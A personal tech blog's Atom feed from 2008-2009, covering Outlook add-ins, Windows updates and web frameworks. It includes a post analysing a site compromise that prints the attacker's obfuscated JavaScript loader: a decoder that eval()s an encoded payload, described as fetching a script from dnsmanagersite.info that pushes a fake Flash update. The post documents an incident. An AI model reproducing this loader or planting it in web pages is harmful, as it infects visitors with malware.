<?xml version='1.0' encoding='windows-1252'?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-5351062</id><updated>2009-02-24T16:40:11.125Z</updated><title type='text'>NiceGuyUK Blog</title><subtitle type='html'>NiceGuyUK's blog</subtitle><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/index.php'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default?start-index=26&amp;max-results=25'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.niceguyuk.ukshells.co.uk/atom.xml'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>806</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5351062.post-7368178581770209165</id><published>2009-02-24T16:38:00.002Z</published><updated>2009-02-24T16:40:11.136Z</updated><title type='text'>Twitter Wordle</title><content type='html'>&lt;a href="http://www.wordle.net/gallery/wrdl/579525/TwitterClooud" title="Wordle: TwitterClooud"&gt;&lt;img src="http://www.wordle.net/thumb/wrdl/579525/TwitterClooud" alt="Wordle: TwitterClooud" style="border: 1px solid rgb(221, 221, 221); padding: 4px;" /&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/7368178581770209165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=7368178581770209165' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7368178581770209165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7368178581770209165'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2009/02/twitter-wordle.php' title='Twitter Wordle'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-3194771102046216403</id><published>2009-01-20T14:07:00.001Z</published><updated>2009-01-20T14:20:30.865Z</updated><title type='text'>Writing Outlook 2007 Addins using C#.Net (using a COM Shim)</title><content type='html'>&lt;p&gt;Addins that are developed in .Net need something Microsoft are calling a “COM shim”, which basically receives OL2007’s COM requests and passes them to the .NET assembly and back again.  Its because Office is still COM based, so treats the core .Net DLL (mscoree.dll) as one single COM object.  The COM is written in C++ (although I’m unsure whether this would be managed C++ - if it is, surely its still .NET thus defeating the purpose), but can still be added into the .Net solution for the addin, since we can mix projects in different CLR languages in the same solution.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;To a .NET developer, native C++ with COM looks like a foreign language. Thankfully, some employees at Microsoft recognized this and Microsoft provides an unsupported wizard to create a COM shim, the COM Shim Wizard.  This allows you to auto-generate (mostly) the required shim for the addin by passing it the .Net Addin assembly that you wish to “wrap”.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;How to actually use the COM Shim&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Run the COM shim wizard for your add-in&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Verify that the COM shim is working:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Add e.g. a MessageBox to your OnConncetion method in your .NET Connect class. If the MessageBox fires, then you know that your .NET add-in is being loaded correctly. Keep in mind that any Ribbon modifications will not be displayed at this point in time.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Open the Add-Ins dialog (e.g. Outlook Options, Add-Ins). Your add-in name has to be listed with the DLL of the Shim. If it still says mscoree.dll there, then your shim is not loading. Most likely, your .NET add-in is overwriting the entry in the registry for the shim DLL, which means the shim will not be loaded. Make sure that “Register for COM interop” is switched off in the project settings for your .NET add-in. If you forgot to switch that setting off, rebuild the COM shim after you switched it off.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;If your add-in shows up with the correct DLL, but doesn’t load (runtime error in the Add-Ins dialog), then you should check whether you are strong-naming the .NET DLL (Signing in the project properties). Also make sure to not delay sign at this point in time. If you forgot to strong name it, you might just want to delete the shim and run the wizard again, or edit the ShimConfig.cpp file to list the correct public key.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;If you correctly strong-named it, but it still doesn’t load, then check whether you actually copied the .NET DLL into the same directory that Visual Studio creates the Shim DLL. The COM Shim works by looking for your .NET DLL in the same directory the Shim DLL is in. If your .NET DLL is not there, then it cannot be loaded. Visual Studio doesn’t copy the file for you automatically.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Once you have a working Shim, you can start modifying it to support IRibbonExtensibility. The first modification you have to make is to import the main Office DLL, so that your COM shim knows about IRibbonExtensibility. To do this, open “stdafx.h”, and paste the following into the file:&lt;br /&gt;&lt;code&gt;#import "C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL" raw_interfaces_only, raw_native_types, named_guids, auto_search&lt;/code&gt;&lt;br /&gt;You have to paste this immediately after the two #import statements that are already in the file (the first one for “mscorlib.tlb”, the second one starting with “libid:”. If the DLL is located in a different directory (or different drive), then adjust the path accordingly, even though I believe Visual Studio might find the DLL automatically at compile time and adjust the path itself.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Open “ConnectProxy.h” and add&lt;br /&gt;&lt;code&gt;using namespace Office;&lt;/code&gt;&lt;br /&gt;After the #include statements on the top.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;In “ConnectProxy.h”, find the COM_MAP. The COM_MAP begins with “BEGIN_COM_MAP(CConnectProxy)”. You need to add&lt;br /&gt;&lt;code&gt;COM_INTERFACE_ENTRY_AGGREGATE(IID_IRibbonExtensibility, m_pConnect)&lt;/code&gt;&lt;br /&gt;At the end of the COM MAP. This statement will make the shim supply your Connect class to Office when it asks for the IRibbonExtensibility interface. After this modification, your COM MAP statement should look like this:&lt;br /&gt;&lt;code&gt;BEGIN_COM_MAP(CConnectProxy)&lt;br /&gt;COM_INTERFACE_ENTRY2(IDispatch, AddInDesignerObjects::IDTExtensibility2)&lt;br /&gt;COM_INTERFACE_ENTRY(AddInDesignerObjects::IDTExtensibility2)&lt;br /&gt;COM_INTERFACE_ENTRY_AGGREGATE(IID_IRibbonExtensibility, m_pConnect)&lt;br /&gt;END_COM_MAP()&lt;/code&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;With these three additional lines in the COM shim, you should now have a working COM shim that supports RibbonX. Compile the Shim and open your Office application again to test it.&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/3194771102046216403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=3194771102046216403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/3194771102046216403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/3194771102046216403'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2009/01/writing-outlook-2007-addins-using-cnet.php' title='Writing Outlook 2007 Addins using C#.Net (using a COM Shim)'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-6112177460153924083</id><published>2009-01-10T22:19:00.001Z</published><updated>2009-01-11T11:00:50.467Z</updated><title type='text'>Windows 7</title><content type='html'>So I bit the bullet and I'm trying Win 7 out on a spare machine.  Once I went through the pain of getting network drivers for it so I could get it online, then finding antivirus for it, it seems to work reasonably well.  Heavier testing to come, but the obligatory screenshot from my machine is at &lt;a href="http://bit.ly/14bFj"&gt;http://bit.ly/14bFj&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/6112177460153924083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=6112177460153924083' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/6112177460153924083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/6112177460153924083'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2009/01/windows-7.php' title='Windows 7'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-2397149675633503878</id><published>2008-11-17T09:38:00.001Z</published><updated>2008-11-17T09:38:14.976Z</updated><title type='text'></title><content type='html'>aggregating his social network updates</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/2397149675633503878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=2397149675633503878' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2397149675633503878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2397149675633503878'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/11/aggregating-his-social-network-updates.php' title=''/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1947180454888179912</id><published>2008-10-13T08:49:00.001Z</published><updated>2008-10-13T08:49:34.191Z</updated><title type='text'>Hanging out with the BBC online</title><content type='html'>First Bill Thompson (roaming tech pundit) retweets something I send him, now I have Stephen Fry (yes, &lt;b&gt;the&lt;/b&gt; Stephen Fry) following my tweets.</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1947180454888179912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1947180454888179912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1947180454888179912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1947180454888179912'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/10/hanging-out-with-bbc-online.php' title='Hanging out with the BBC online'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-4401860436617347290</id><published>2008-09-28T18:19:00.001Z</published><updated>2008-09-29T10:44:42.392Z</updated><title type='text'>MySQL hacker needs $400K for his son's bone-marrow transplant</title><content type='html'>&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~r/boingboing/iBag/~3/405515938/mysql-hacker-needs-4.html"&gt;MySQL hacker needs $400K for his son's bone-marrow transplant&lt;/a&gt;: "The MySQL community -- who create, maintain and support the leading free database -- are raising funds for Andrii Nikitin, a MySQL support engineer in Ukraine whose little boy, Ivan, needs a $400,000 bone-barrow transplant.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;img src="http://craphound.com/images/andrii-and-ivan.jpg" align="left"&gt;&lt;br /&gt;'My family got bad news - doctors said allogenic bone marrow transplantation is the only chance for my son Ivan.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;'8 months of heavy and expensive immune suppression brought some positive results so we hoped that recovering is just question of time.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;'Ivan is very brave boy - not every human meets so much suffering during whole life, like Ivan already met in his 2,5 years. But long road is still in front of us to get full recover - we are ready to come it through.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;'Ukrainian clinics have no technical possibility to do such complex operation, so we need 150-250K EUR for Israel or European or US clinic. The final decision will be made considering amount we able to find. Perhaps my family is able to get ~60% of that by selling the flat where parents leave and some other goods, but we still require external help.'&lt;br /&gt;&lt;br clear="all"&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a href="http://www.mysql.com/about/help-ivan.html"&gt;Donate to help Andrii Nikitin's son Ivan&lt;/a&gt;&lt;p&gt;(Via &lt;a href="http://www.boingboing.net/"&gt;Boing Boing&lt;/a&gt;.)&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/4401860436617347290/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=4401860436617347290' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4401860436617347290'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4401860436617347290'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/09/mysql-hacker-needs-400k-for-his-son.php' title='MySQL hacker needs $400K for his son&amp;#39;s bone-marrow transplant'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-6069089435827211656</id><published>2008-09-02T15:15:00.001Z</published><updated>2008-09-02T15:15:39.085Z</updated><title type='text'>I'm over here...</title><content type='html'>To busy to blog these days.  You've got more chance of finding out what I'm up to by looking at Twitter :-&lt;br /&gt;&lt;br /&gt;&lt;div style="width:176px;text-align:center"&gt;&lt;embed src="http://twitter.com/flash/twitter_badge.swf"  flashvars="color1=39423&amp;type=user&amp;id=11343042"  quality="high" width="176" height="176" name="twitter_badge" align="middle" allowScriptAccess="always" wmode="transparent" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /&gt;&lt;br&gt;&lt;a style="font-size: 10px; color: #0099FF; text-decoration: none" href="http://twitter.com/NiceGuyUK"&gt;follow NiceGuyUK at http://twitter.com&lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/6069089435827211656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=6069089435827211656' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/6069089435827211656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/6069089435827211656'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/09/i-over-here.php' title='I&amp;#39;m over here...'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-2854556568428282430</id><published>2008-06-02T19:22:00.001Z</published><updated>2008-06-02T19:22:59.688Z</updated><title type='text'>Writing Outlook Addins in C#.Net</title><content type='html'>Ok, so the title of this post is a blatant Google magnet attempt.  But honestly, that's what I've been doing today and its been the most fun I've had coding in a while.&lt;br /&gt;&lt;br /&gt;I'm converting an old VB6 COM addin for Outlook versions prior to 2007 so that it does indeed work with 2007.  Its being rewritten in C# and due to some clever interop work (not my cleverness, I gleaned information from &lt;a href="http://pschmid.net/blog/2007/03/08/102"&gt;this blog post by Patrick Schmid&lt;/a&gt;) I don't even need to hack my way around Outlook's security model with the &lt;a href="http://www.dimastr.com/redemption/"&gt;Redemption Library&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Once its done, I'm toying with the idea of writing more addins for Outlook 2007 that I think I'll find useful (and hopefully other people will too)</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/2854556568428282430/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=2854556568428282430' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2854556568428282430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2854556568428282430'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/06/writing-outlook-addins-in-cnet.php' title='Writing Outlook Addins in C#.Net'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-462388774403164664</id><published>2008-05-04T18:03:00.001Z</published><updated>2008-05-04T18:03:38.127Z</updated><title type='text'>Windows XP SP3</title><content type='html'>Upgraded my sole Windows PC from XP SP2 to XP SP3 tonight.  It seems stable so far, but then I've probably already got most of the patches that they rolled into Service Pack 3 anyway.  If I hit any odd issues (other than the annoyance of it reverting my hacked uxtheme.dll so I lose my Royale Remixed theme), I'll post about it here.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.niceguyuk.ukshells.co.uk/SP3.png" alt="SP3 screenshot"&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/462388774403164664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=462388774403164664' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/462388774403164664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/462388774403164664'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/05/windows-xp-sp3.php' title='Windows XP SP3'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-5034128203422878788</id><published>2008-04-30T11:50:00.001Z</published><updated>2008-05-04T18:31:38.022Z</updated><title type='text'>Anatomy of a web hack</title><content type='html'>One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced).  The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript.  I've tidied it up for readability :-&lt;br /&gt;&lt;br /&gt;&lt;div style="overflow: auto; border=1px;"&gt;&lt;br /&gt;&lt;font size=-1&gt;function F(WY,e)&lt;br /&gt;{&lt;br /&gt;	if(!e)&lt;br /&gt;	{&lt;br /&gt;		e='kUZ$caiWxQYNso/B-8E(b&gt;p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';&lt;br /&gt;	}&lt;br /&gt;	var y;&lt;br /&gt;	var OR='';&lt;br /&gt;	for(var m=0;m&lt;WY.length;m+=4)&lt;br /&gt;	{&lt;br /&gt;		y = (e.indexOf(WY.charAt(m))&amp;255)&lt;&lt;18|(e.indexOf(WY.charAt(m+1))&amp;255)&lt;&lt;12|(e.indexOf(WY.charAt(m+2))&amp;255)&lt;&lt;6|e.indexOf(WY.charAt(m+3))&amp;255;&lt;br /&gt;		OR += String.fromCharCode((y&amp;16711680)&gt;&gt;16,(y&amp;65280)&gt;&gt;8,y&amp;255);&lt;br /&gt;	}&lt;br /&gt;	eval(OR.substring(0,OR.length-3));&lt;br /&gt;}&lt;br /&gt;F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?&gt;U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');&lt;/font&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;What this does is call another script from another domain (dnsmanagersite.info).  This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash.  I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/5034128203422878788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=5034128203422878788' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/5034128203422878788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/5034128203422878788'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/04/anatomy-of-web-hack.php' title='Anatomy of a web hack'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-7076737783080131838</id><published>2008-04-22T21:01:00.001Z</published><updated>2008-04-22T21:01:03.932Z</updated><title type='text'>The trouble with AJAX frameworks...</title><content type='html'>As my brother would say, I've been busier than a one-legged Riverdancer just lately....&lt;br /&gt;&lt;br /&gt;I'm working for two clients simultaneously - a mix of Classic ASP and ASP.Net by day and PHP5 by night.  In both cases, I'm making use of AJAX Frameworks and herein lies the problem.  Conceptually, using a framework rather than dong everything yourself "from scratch" is a good thing, since it should save re-inventing the wheel.&lt;br /&gt;&lt;br /&gt;However, I'm finding in both cases (&lt;a href="http://asp.net/ajax"&gt;Microsoft ASP.Net Ajax&lt;/a&gt; for one, &lt;a href="http://www.qcodo.com"&gt;QCodo&lt;/a&gt; for the other) that things are either incomplete, inadequately documented, or just plain broken.  I'm increasingly finding myself spending more time fixing little rendering issues (or things that don't render at all) and less time dealing with the core functionality of the application.&lt;br /&gt;&lt;br /&gt;Its frustrating, to say the least.&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/7076737783080131838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=7076737783080131838' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7076737783080131838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7076737783080131838'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/04/trouble-with-ajax-frameworks.php' title='The trouble with AJAX frameworks...'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-4651142329840114375</id><published>2008-03-24T14:51:00.001Z</published><updated>2008-03-24T14:51:52.986Z</updated><title type='text'>PHP Hacking</title><content type='html'>Started trying out some UI concepts in PHP for a project I'm working on for a customer.  I've now managed to get a data-bound composite control rendered with drag and drop functionality.  I'm trying for a drag-and drop paradigm in a web app, since the brief for this customer states it should be as easy to use as possible.&lt;br /&gt;&lt;br /&gt;So far so good.  Of course, I wouldn't be anywhere near this stage without the excellent &lt;a href="http://www.qcodo.com"&gt;QCodo framework&lt;/a&gt; for PHP. Thanks Mike!</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/4651142329840114375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=4651142329840114375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4651142329840114375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4651142329840114375'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/03/php-hacking.php' title='PHP Hacking'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1406609499110939875</id><published>2008-03-06T12:19:00.001Z</published><updated>2008-03-06T12:19:42.679Z</updated><title type='text'>I am Borg</title><content type='html'>Managed to dig out my old &lt;a href="http://www.amazon.com/Glove-EarGlove-BlueSport-Bluetooth-Headset/dp/B0002DRKGM"&gt;BlueTooth headset&lt;/a&gt; and as well as getting it working with my mobile phone, I've also managed to get it working with &lt;a href="http://www.skype.com"&gt;Skype&lt;/a&gt; on my MacBook, using the built-in Bluetooth.  The thought hadn't occurred to me earlier, but the combination works really well.&lt;br /&gt;&lt;br /&gt;Shame that the headset makes me look like a &lt;a href="http://en.wikipedia.org/wiki/Borg_%2528Star_Trek%2529"&gt;Borg&lt;/a&gt; though...</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1406609499110939875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1406609499110939875' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1406609499110939875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1406609499110939875'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/03/i-am-borg.php' title='I am Borg'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1604136187197355025</id><published>2008-02-21T11:44:00.001Z</published><updated>2008-02-21T11:44:27.912Z</updated><title type='text'>Going solo</title><content type='html'>I'm re-declaring my independence again.  I'm going back to contracting, with a healthy dose of working directly for clients as well.  Already I've got the potential for a couple of systems that people want lined up, but contracting would probably be my main income.</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1604136187197355025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1604136187197355025' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1604136187197355025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1604136187197355025'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/going-solo.php' title='Going solo'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-7937596173507687031</id><published>2008-02-21T11:42:00.001Z</published><updated>2008-02-21T11:42:00.161Z</updated><title type='text'>Email - wonderfully useful</title><content type='html'>I don't have spam.&lt;br /&gt;&lt;br /&gt;I do, however, have a cupboard full of herbal remedies for erectile disfunction that some nice chaps from the Interwebs sold me, a timeshare in Spain, a mate in Nigeria that owes me $67,000,000 (any day now!), &lt;br /&gt;some Rolex watches I got at a fantastic price and some rather interesting cinematic productions from a Ms. Hilton.&lt;br /&gt;&lt;br /&gt;I love how many useful things come to me by email :-D</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/7937596173507687031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=7937596173507687031' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7937596173507687031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7937596173507687031'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/email-wonderfully-useful.php' title='Email - wonderfully useful'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-4811651651343085789</id><published>2008-02-13T20:54:00.004Z</published><updated>2008-02-14T05:41:56.508Z</updated><title type='text'>Broad-but-not-quite-as-broad-as-it-should-be-band</title><content type='html'>My Broadband connection is getting slower, especially since I'm paying extra for their top-end unlimited service.  They always churn out the old "may vary depending from your distance to the exchange" excuse.  The exchange is 400 metres away, I can see it from my bedroom window.  When I first got it, I was getting around 6mb (they say up to 8mb, but it invariably never is).  Latest speed test shown below :-&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.speedtest.net"&gt;&lt;img src="http://www.speedtest.net/result/234087000.png"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I shall continue to monitor this one and if it doesn't improve, I'm gonna complain.&lt;br /&gt;&lt;br /&gt;[UPDATE 5:40am]&lt;br /&gt;Looks like they're throttling the connection at peak times. Here's my off-peak score :-&lt;br /&gt;&lt;br /&gt;&lt;a 